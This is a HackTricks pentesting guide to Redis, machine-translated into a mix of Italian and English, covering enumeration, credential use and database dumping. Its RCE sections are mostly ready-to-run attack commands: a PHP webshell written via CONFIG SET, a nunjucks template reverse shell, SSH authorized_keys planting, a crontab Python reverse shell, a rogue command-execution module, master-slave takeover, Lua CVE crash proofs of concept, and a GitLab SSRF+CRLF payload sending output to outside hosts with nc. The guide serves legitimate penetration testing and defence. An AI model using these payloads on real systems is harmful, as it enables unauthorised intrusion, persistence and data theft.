6379 - Pentesting Redis

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

From the docs: Redis è open source (licenza BSD), in-memory archivio di strutture dati, utilizzato come database, cache e message broker).

Per impostazione predefinita Redis usa un protocollo basato su testo in chiaro, ma bisogna ricordare che può anche implementare ssl/tls. Learn how to run Redis with ssl/tls here.

Porta predefinita: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Enumerazione automatica

Alcuni strumenti automatici che possono aiutare a ottenere informazioni da un’istanza redis:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Manual Enumeration

Redis è un protocollo basato su testo, puoi semplicemente inviare il comando tramite socket e i valori restituiti saranno leggibili. Ricorda anche che Redis può funzionare usando ssl/tls (ma questo è molto strano).

In una normale istanza Redis puoi connetterti semplicemente usando nc oppure puoi anche usare redis-cli:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Il primo comando che potresti provare è info. Potrebbe restituire output con informazioni sull’istanza Redis o qualcosa di simile al seguente:

-NOAUTH Authentication required.

In quest’ultimo caso, questo significa che hai bisogno di credenziali valide per accedere all’istanza Redis.

Autenticazione Redis

Per impostazione predefinita Redis può essere accessibile senza credenziali. Tuttavia, può essere configurato per supportare solo password, o username + password.
È possibile impostare una password nel file redis.conf con il parametro requirepass o temporaneamente fino al riavvio del servizio connettendosi ad esso ed eseguendo: config set requirepass p@ss$12E45.
Inoltre, un username può essere configurato nel parametro masteruser all’interno del file redis.conf.

Tip

Se è configurata solo la password lo username usato è “default”.
Inoltre, nota che non c’è modo di scoprire esternamente se Redis è stato configurato con solo password o username+password.

In casi come questo dovrai trovare credenziali valide per interagire con Redis quindi puoi provare a brute-forcearlo.
Se hai trovato credenziali valide devi autenticare la sessione dopo aver stabilito la connessione con il comando:

AUTH <username> <password>

Credenziali valide riceveranno come risposta: +OK

Authenticated enumeration

Se il server Redis permette connessioni anonime o se hai ottenuto credenziali valide, puoi avviare il processo di enumerazione del servizio usando i seguenti comandi:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Altri comandi Redis can be found here e here.

Nota che i comandi Redis di un’istanza possono essere rinominati o rimossi nel file redis.conf. Per esempio questa riga rimuoverà il comando FLUSHDB:

rename-command FLUSHDB ""

More informazioni su come configurare in modo sicuro un servizio Redis qui: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Puoi anche monitorare in tempo reale i comandi Redis eseguiti con il comando monitor oppure ottenere le 25 query piĂš lente con slowlog get 25

Trovi altre informazioni interessanti su altri comandi Redis qui: https://lzone.de/cheat-sheet/Redis

Dump del database

All’interno di Redis le database sono numerate a partire da 0. Puoi verificare se qualcuna è in uso nell’output del comando info nella sezione “Keyspace”:

Oppure puoi semplicemente ottenere tutti i keyspaces (database) con:

INFO keyspace

In quell’esempio vengono usati i database 0 e 1. Database 0 contiene 4 keys e database 1 contiene 1. Per impostazione predefinita Redis userà il database 0. Per eseguire il dump, ad esempio del database 1, devi fare:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

Nel caso in cui ricevi il seguente errore -WRONGTYPE Operation against a key holding the wrong kind of value eseguendo GET <KEY>, è perchÊ la chiave potrebbe non essere una stringa o un intero e richiede un operatore specifico per visualizzarla.

Per conoscere il tipo della chiave, usa il comando TYPE; esempio qui sotto per chiavi di tipo list e hash.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Esegui il dump del database con npm redis-dump o python redis-utils

Redis RCE

Interactive Shell

redis-rogue-server può ottenere automaticamente una interactive shell o una reverse shell in Redis(<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Informazioni da here. Devi conoscere il percorso della cartella del sito web:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Se l’accesso via webshell solleva un’eccezione, puoi svuotare il database dopo aver effettuato un backup e riprovare; ricordati di ripristinare il database.

Webshell da template

Come nella sezione precedente, puoi anche sovrascrivere alcuni file template html che verranno interpretati da un template engine per ottenere una shell.

Per esempio, seguendo this writeup, si può vedere che l’attaccante ha iniettato una rev shell in an html interpretata dal nunjucks template engine:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

Warning

Nota che several template engines cache i template in memory, quindi anche se li sovrascrivi, il nuovo won’t be executed. In questi casi, o lo sviluppatore ha lasciato l’automatic reload attivo oppure devi fare un DoS sul servizio (e aspettarti che verrà rilanciato automaticamente).

SSH

Example from here

Tieni presente che il risultato di config get dir può essere modificato da altri comandi di exploit manuali. Si consiglia di eseguirlo subito dopo il login in Redis. Nell’output di config get dir potresti trovare la home dell’redis user (di solito /var/lib/redis o /home/redis/.ssh), e sapendo questo sai dove puoi scrivere il file authenticated_users per accedere via ssh with the user redis. Se conosci la home di un altro utente valido dove hai permessi di scrittura puoi anche abusarne:

  1. Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa
  2. Write the public key to a file : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Save the public key to the authorized_keys file on redis server:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52

This technique is automated here: https://github.com/Avinash-acid/Redis-Server-Exploit

Additionally, system users can also be discovered by checking with config set dir /home/USER, and upon confirmation, a new authorized_keys can be written to /home/USER/.ssh/authorized_keys. Use redis-rce-ssh to bruteforce this with a usernames wordlist and overwrite authorized_keys.

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

L’ultimo esempio è per Ubuntu, per Centos, il comando sopra dovrebbe essere: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Questo metodo può anche essere usato per guadagnare bitcoin :yam

Caricare un modulo Redis

  1. Seguendo le istruzioni da https://github.com/n0b0dyCN/RedisModules-ExecuteCommand puoi compilare un redis module per eseguire comandi arbitrari.
  2. Poi ti serve un modo per caricare il modulo compilato
  3. Carica il modulo caricato a runtime con MODULE LOAD /path/to/mymodule.so
  4. Elenca i moduli caricati per verificare che sia stato caricato correttamente: MODULE LIST
  5. Esegui comandi:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Scarica il modulo quando vuoi: MODULE UNLOAD mymodule

Bypass del sandbox LUA

Here puoi vedere che Redis usa il comando EVAL per eseguire codice Lua in sandbox. Nel post linkato puoi vedere come abusarne usando la funzione dofile, ma apparently questo non è piÚ possibile. Comunque, se riesci a bypassare il sandbox Lua potresti eseguire comandi arbitrari sul sistema. Inoltre, dallo stesso post puoi vedere alcune opzioni per causare DoS.

Alcuni CVE per evadere LUA:

Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818)

Le recenti release di Redis hanno risolto molteplici problemi nel motore Lua incorporato che permettono escape dal sandbox, corruzione di memoria ed esecuzione di codice cross-user. Queste tecniche si applicano quando:

  • L’attaccante può autenticarsi a Redis e Lua è abilitato (EVAL/EVALSHA o FUNCTION sono utilizzabili)
  • La versione di Redis è precedente a 8.2.2, 8.0.4, 7.4.6, 7.2.11, o 6.2.20

Tip: Se sei nuovo ai trucchi per il sandboxing Lua, consulta questa pagina per tecniche generali:

Lua Sandbox Escape

Contestualizzazione a livello di patch:

  • Risolto in: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20
  • Interessato quando lo scripting Lua è abilitato e le versioni sopra non sono applicate

CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (lparser.c: luaY_parser)

  • Idea: Forzare la garbage collection mentre il parser fa ancora riferimento a una TString appena inserita. Quando la GC la recupera, il parser usa un puntatore liberato (UAF) → crash/DoS e potenziale esecuzione di codice nativo al di fuori del sandbox Lua.
  • Strategia di trigger:
  1. Creare pressione di memoria con stringhe enormi per incoraggiare l’attività della GC
  2. Eseguire esplicitamente la GC mentre un grande chunk di sorgente viene compilato
  3. Compilare uno script Lua molto grande in un loop fino a che la GC si allinei con il parsing

Minimal EVAL harness per riprodurre i crash

# Auth as needed (-a/--user), then run EVAL with 0 keys
redis-cli -h <host> -p 6379 -a <password> EVAL "\
local a = string.rep('asdf', 65536); \
collectgarbage('collect'); \
local src = string.rep('x', 1024 * 1024); \
local f = loadstring(src); \
return 'done'" 0

Note:

  • Potrebbero essere necessari piĂš tentativi per allineare il GC con luaY_parser. Un crash indica che è stato colpito un UAF.
  • Dallo sfruttamento alla RCE sono necessari memory grooming e native code pivoting al di fuori della Redis Lua sandbox.

CVE-2025-46817 — Integer overflow in unpack (lbaselib.c: luaB_unpack)

  • Causa principale: il conteggio n = e - i + 1 viene calcolato senza unsigned casts, quindi indici estremi fanno wrap, facendo sĂŹ che Lua tenti di eseguire unpack su molti piĂš elementi di quelli esistenti → stack corruption e memory exhaustion.
  • PoC (DoS/mem exhaustion):
redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0
  • Aspettati che il server provi a restituire un numero enorme di valori e finisca con il crash o un OOM.

CVE-2025-46818 — Cross-user privilege escalation via basic type metatables

  • Causa principale: All’avvio del motore, le metatables per i tipi di base (es., strings, booleans) non venivano impostate come read-only. Qualsiasi utente autenticato può corromperle per iniettare metodi che altri utenti potrebbero chiamare in seguito.
  • Esempio (string metatable poisoning):
# Inject a method on strings and then exercise it
redis-cli -h <host> -p 6379 -a <password> EVAL "\
getmetatable('').__index = function(_, key) \
if key == 'testfunc' then \
return function() return 'testfuncoutput' end \
end \
end; \
return ('teststring').testfunc()" 0
# → Returns: testfuncoutput
  • Impatto: Esecuzione di codice cross-user all’interno della sandbox Lua usando i permessi Redis della vittima. Utile per lateral movement/priv-esc nei contesti ACL di Redis.

Master-Slave Module

​Tutte le operazioni del master redis vengono automaticamente sincronizzate sullo slave redis, il che significa che possiamo considerare il redis vulnerabile come uno slave redis connesso al master redis che controlliamo; in questo modo possiamo inviare comandi al nostro redis.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF che comunica con Redis

Se puoi inviare richieste in clear text a Redis, puoi comunicare con esso poichĂŠ Redis leggerĂ  la richiesta riga per riga e risponderĂ  con errori solo alle righe che non capisce:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Pertanto, se trovi una SSRF vuln in un sito web e puoi controllare alcuni headers (forse con una CRLF vuln) o POST parameters, sarai in grado di inviare comandi arbitrari a Redis.

Esempio: Gitlab SSRF + CRLF to Shell

In Gitlab11.4.7 sono state scoperte una vulnerabilità SSRF e una CRLF. La vulnerabilità SSRF si trovava nella funzionalità import project from URL durante la creazione di un nuovo progetto e permetteva l’accesso a IP arbitrari nella forma [0:0:0:0:0:ffff:127.0.0.1] (questo accederà a 127.0.0.1), e la CRLF vuln è stata sfruttata semplicemente aggiungendo i caratteri %0D%0A all’URL.

Pertanto, è stato possibile abusare di queste vulnerabilità per parlare con l’istanza Redis che gestisce le queues di gitlab e abusare di quelle queues per ottenere code execution. Il Redis queue abuse payload è:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

E la URL encode request abusing SSRF e CRLF per eseguire un whoami e inviare l’output tramite nc è:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Per qualche motivo (come per l’autore di https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ da cui è stata presa questa informazione) lo sfruttamento ha funzionato con lo schema git e non con lo schema http.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks